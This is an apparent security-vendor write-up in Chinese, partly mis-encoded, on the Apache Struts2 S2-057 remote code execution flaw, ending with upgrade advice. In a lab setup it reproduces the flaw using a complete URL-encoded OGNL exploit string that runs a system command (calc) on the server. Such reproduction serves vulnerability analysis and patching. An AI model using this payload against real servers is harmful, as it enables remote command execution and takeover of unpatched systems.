S2-057漏洞,于2018年8月22日被曝出,該Struts2 057漏洞存在遠(yuǎn)程執(zhí)行系統(tǒng)的命令,尤其使用linux系統(tǒng),apache環(huán)境,影響范圍較大,危害性較高,如果被攻擊者利用直接提權(quán)到服務(wù)器管理員權(quán)限,網(wǎng)站數(shù)據(jù)被篡改,數(shù)據(jù)庫被盜取都會發(fā)生。
目前我們SINE安全對該S2-057漏洞的測試,發(fā)現(xiàn)受影響的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已經(jīng)緊急的對該S2-057漏洞進(jìn)行了修復(fù)。
通過國外曝出來的漏洞poc,我們來介紹下Struts2漏洞該如何的利用:
S2-057漏洞產(chǎn)生于網(wǎng)站配置xml的時候,有一個namespace的值,該值并沒有做詳細(xì)的安全過濾導(dǎo)致可以寫入到XML上,尤其url標(biāo)簽值也沒有做通配符的過濾,導(dǎo)致可以執(zhí)行遠(yuǎn)程代碼,以及系統(tǒng)命令到服務(wù)器系統(tǒng)中去。
我們首先來搭建下struts2的環(huán)境,找一臺windows服務(wù)器,使用一鍵部署工具部署好測試環(huán)境,vulhub環(huán)境也搭建好如下圖:
接下來就是Struts2漏洞的利用與復(fù)現(xiàn)過程:
訪問網(wǎng)站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action
將${(sine+sine)}里的內(nèi)容換成exp,EXP內(nèi)容如下:
%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action
復(fù)制exp內(nèi)容到瀏覽器執(zhí)行,發(fā)現(xiàn)服務(wù)器會直接運(yùn)行計算器如下圖:
S2-057漏洞修復(fù)建議:
升級到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升級即可官方已經(jīng)做好漏洞補(bǔ)丁,完全兼容。
本文來源:www.sinesafe.com
申請創(chuàng)業(yè)報道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!